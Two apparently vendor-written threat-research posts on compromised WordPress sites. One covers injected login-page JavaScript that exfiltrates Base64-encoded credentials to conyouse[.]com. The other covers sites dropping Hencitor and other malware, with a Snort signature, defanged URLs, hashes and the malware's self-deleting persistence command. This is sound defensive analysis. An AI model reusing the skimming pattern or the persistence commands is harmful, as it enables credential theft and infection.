Compromised WordPress sites leaking credentials

Zscaler recently observed a credentials leak campaign on multiple WordPress sites. The compromised sites run backdoor code, which activates when the user submits login credentials. The credentials are encoded and sent to an attacker website in the form of a GET request. Till now, we have identified only one domain "conyouse.com" which is collecting all the credentials from these compromised sites.

The following is a sample list of WordPress websites compromised through this campaign:

•  shoneekapoor.com
•  dwaynefrancis.com
•  blissfields.co.uk
•  avalineholding.com
•  attherighttime.net
•  bolsaemprego.ne
•  capitaltrill.com
•  blowdrybar.es
•  espada.co.uk
•  technograte.com
•  socalhistory.org
•  blissfields.co.uk
•  glasgowcontemporarychoir.com
•  sombornefp.co.uk
•  reciclaconloscincosentidos.com
•  testrmb.com
•  digivelum.com
•  laflordelys.com

Credential Leakage

When unsuspecting users attempt to login to one of the compromised WordPress sites, they are served injected JavaScript code as part of the login page. Below, we walk through the full exploit cycle illustrating how the user credentials are being stolen through this campaign.

Compromised WordPress login page

As part of the WordPress login page, the user is getting served malicious information stealing JavaScript code hosted on “conyouse[.]com”. The obfuscated JavaScript code present in “wp.js” file can be seen here:

Information stealing JavaScript code

The variable “_0xdd75” stores a list of strings which are used dynamically in the JavaScript above.

List of encoded strings

This code is triggered when the user submits their credentials on the login page of the WordPress site.
The form containing the username and password input box has a fixed name as “loginform” in all WordPress sites. The preventDefault event method is used to cancel the submit event for “loginform” entity and execute the alternate code which is present in this file. The login credential string is serialised and encoded in a Base64 format.

Information Stealing JavaScript code

The final data is sent to "conyouse[.]com/scr.js", which is statically stored as one of the strings. The final GET request generated is as shown in the traffic:

GET Request relaying stolen credentials

On decoding the encoded string highlighted above we see that it’s relaying the stolen user credentials using the GET request. The format of this GET request is

"www.conyouse[.]com/scr.js?callback=jQuery<random number>&data=<BASE64_ENCODED_CREDENTIALS>&_=<random number>"

Base64 decoded data string

The complete sequence of action captured is shown in below screenshot.

Complete exploit cycle

The end user is oblivious to the fact that the credentials were leaked to a remote attacker's site as he is redirected to a successful logged in session of WordPress site.

Conclusion
WordPress, being one of the most popular Content Management Systems & Blogging platform, remains an attractive target for cybercriminals due to it's large user base. While the initial vector behind the compromise of the sites listed in this blog is unclear, it is extremely important for the site administrators to keep their WordPress sites patched with latest security updates.

Analysis by - Sameer Patil & Deepen Desai

Compromised Wordpress sites serving multiple malware payloads

During our daily log monitoring process, we observe many interesting threat events. One such event led to a compromised WordPress site campaign, which was found to serve multiple malware families including Upatre/Hencitor/Extrat Xtreme RAT/Vawtrak. The URLs which were serving malware were found to adhere to a particular pattern. Infected WordPress sites observed, included URLs with "/1.php?r”. Emerging Threats (ET) had previously released a Snort signature for this campaign on 12/08/2014. Since then, we have been continuously monitoring the activities related to it. The following is the snort signature released by ET.
 

Snort Signature

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET CURRENT_EVENTS Probable malicious download from e-mail link /1.php"; flow:established,to_server; urilen:8; content:"/1.php?r"; http_uri; content:!"Referer|3a 20|"; http_header; flowbits:set,et.exploitkitlanding; classtype:bad-unknown; sid:2019894; rev:1;)

Below are the compromised websites observed, which have been found to be serving multiple malware families.

Compromised wordpress websites

airlessspraysupplies[.]com/wp-includes/1[.]php?r

altero[.]be/1[.]php?r

alzina[.]cat/1[.]php?r

angeladoesfood[.]com/wp-admin/1[.]php?r

apsmiles[.]com/wp-content/themes/rfx/1[.]php?r

architecture[.]web[.]auth[.]gr/1[.]php?r

augustgifford[.]com/wp-admin/1[.]php?r

bankruptcy-software[.]com/wp-content/themes/classic/1[.]php?r

bernie[.]jshall[.]net/wp-content/themes/twentytwelve/1[.]php?r

beta[.]pescariusports[.]ro/images/1[.]php?r

blackwellanddenton[.]com/components/com_contact/1[.]php?r

blog[,]longboardsicecream[.]com/wp-content/plugins/1[.]php?r

blog[.]ridici-jednotky[.]cz/wp-content/plugins/simple4us/1[.]php?r

blog[.]topdealslondon[.]com/wp-content/uploads/1[.]php?r

cartorioalbuquerque[.]com[.]br/images/1[.]php?r

climatechange[.]mobi/images/1[.]php?r

core[.]is/1[.]php?r

couponshare[.]me/1[.]php?r

dannygill[.]co[.]uk/wp-content/plugins/simple4us/1[.]php?r

dlaciebie[.]org/wp-admin/1[.]php?r

geototal[.]az/en/ru/engine/editor/scripts/common/codemirror/mode/xml/1[.]php?r

kba1f9684c70[.]nazwa[.]pl/images/1[.]php?r

linkleads[.]vn/1[.]php?r

lionel[.]my/wp-content/plugins/akismet/1[.]php?r

livedoor[.]eu/1[.]php?r

ludovicharollais[.]org/wp-admin/1[.]php?r

m11[.]mobi/images/1[.]php?r

matthewkarant[.]com/wp-content/themes/twentynine/1[.]php?r

mcymbethel[.]com[.]ar/modules/mod_ariimageslider/1[.]php?r

merklab[.]eu/1[.]php?r

mitoyotaseagarrota[.]com/components/com_banners/1[.]php?r

mlmassagetherapy[.]com[.]au/wp-content/uploads/1[.]php?r

monitoring[.]sensomedia[.]hu/1[.]php?r

newwww[.]r11mis[.]be/images/1[.]php?r

odelia-coaching[.]co[.]il/wp-content/plugins/google-sitemap-generator/1[.]php?r

odelia-coaching[.]co[.]il/wp-content/plugins/google-sitemap-generator/1[.]php?r

osp[.]ruszow[.]liu[.]pl/images/1[.]php?r

pms[.]isovn[.]net/images/1[.]php?r

prodvizhenie-sajta[.]com/images/1[.]php?r

redmine[.]sensomedia[.]hu/1[.]php?r

salihajszalon[.]hu/1[.]php?r

sonicboommusic[.]com[.]au/components/com_banners/1[.]php?r

sparkledesign[.]ro/1[.]php?r

thebestcookbooks[.]co[.]uk/wp-content/plugins/1[.]php?r

thefoodstudio[.]co[.]nz/wp-content/themes/food-cook/1[.]php?r

thietkekientruca4[.]vn/1[.]php?r

treasurething[.]com/wp-includes/pomo/1[.]php?r

tsv-penzberg[.]de/wp-admin/1[.]php?r

turbomarketingteam[.]com/1[.]php?r

tusengangerstarkare[.]ingelaclarin[.]se/wp-admin/1[.]php?r

twobyones[.]com/1[.]php?r

xhmeiastokyma[.]gr/1[.]php?r

youreverlastingmemories[.]co[.]uk/1[.]php?r

These compromised WordPress sites may have been used by Exploit Kit (EK) authors as drop sites for serving malware. Another potential attack vector could involve email spam.

The following table shows different types of malware we have seen dropped from the aforementioned compromised sites. All malware was found to be zipped.
 

ZIP MD5	ZIPFILE NAME
2f225283c66032c9f7dcb44f42697246	fax_20141204_385.pdf.zip
6696527bfda97b1473d1047117ded8d6	invoice.pdf.zip
93babef06bfd93bcbb5065c445fb57d4	label_08122014_23.pdf.zip
bea9be813bb7df579d5be3e4543dc6a4	payment_details9427923.pdf.zip
1159fe7ec4d0b2cfde57dfb28b98f0c9	ePackage_12092014_42.pdf.zip
038710b2029046c39ca4082e2c34f9b3	wav_voice20141208.zip
ec35acdbe331c73e5e6883ebc08f896d	payment_invoice_182734.pdf.zip
8f00cfdf067b01462670212ba5874cdb	pdf_efax_9823612397.zip

Lets take a look at the files after unzipping them. All of the files are Windows screen savers and include fake icons of legitimate software packages, to persuade the victims to click on them.

Downloaded files:

For this post we've chosen to focus on the Hencitor malware. Hencitor’s typical behavior is to download additional malware onto the victim’s machine and execute it. 

MD5: 6bb3b23ff3e736d499775120aa8d6ae2
VT Score: 9/56 (At the time of analysis)

Lets take a look at some important things noted while conducting dynamic analysis of this malware.

• Copies itself to 
• "C:\Users\Win7 64Bit\AppData\Roaming\Windows\winlogin.exe”
• Creates autostart registry key entry
• HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
• "winlogin” = "C:\Users\Win7 64Bit\AppData\Roaming\Windows\winlogin.exe”
• Uses ping.exe to check the status of other devices and networks.
• cmd /D /R ping -n 10 localhost && del C:\payment_invoice_182734.pdf.scr.exe && start /B C:\Users\Win7 64Bit\AppData\Roaming\Windows\winlogin.exe && exit
• Creates a thread in following existing process on the system.
• C:\Windows\explorer.exe
• C:\Windows\System32\sppsvc.exe
• C:\Windows\System32\wbem\WmiPrvSE.exe
• C:\Windows\System32\conhost.exe
• Deletes itself after installation 
• c:\payment_invoice_182734.pdf.scr.exe
• Malware seen to resolve couple of suspicious tor sites. 
• o3qz25zwu4or5mak.tor2web[.]org 
• o3qz25zwu4or5mak.tor2web[.]ru 

Conclusion:

Compromising vulnerable WordPress sites to spread malware has become one of the more widely used attack vectors by EK’s and email spam campaigns. Such campaigns generally drop variants of well known malware families,  which are undetected by the AV vendors. By the time of analysis we observed poor detection rates for the malware samples involved in this campaign.

-Stay Safe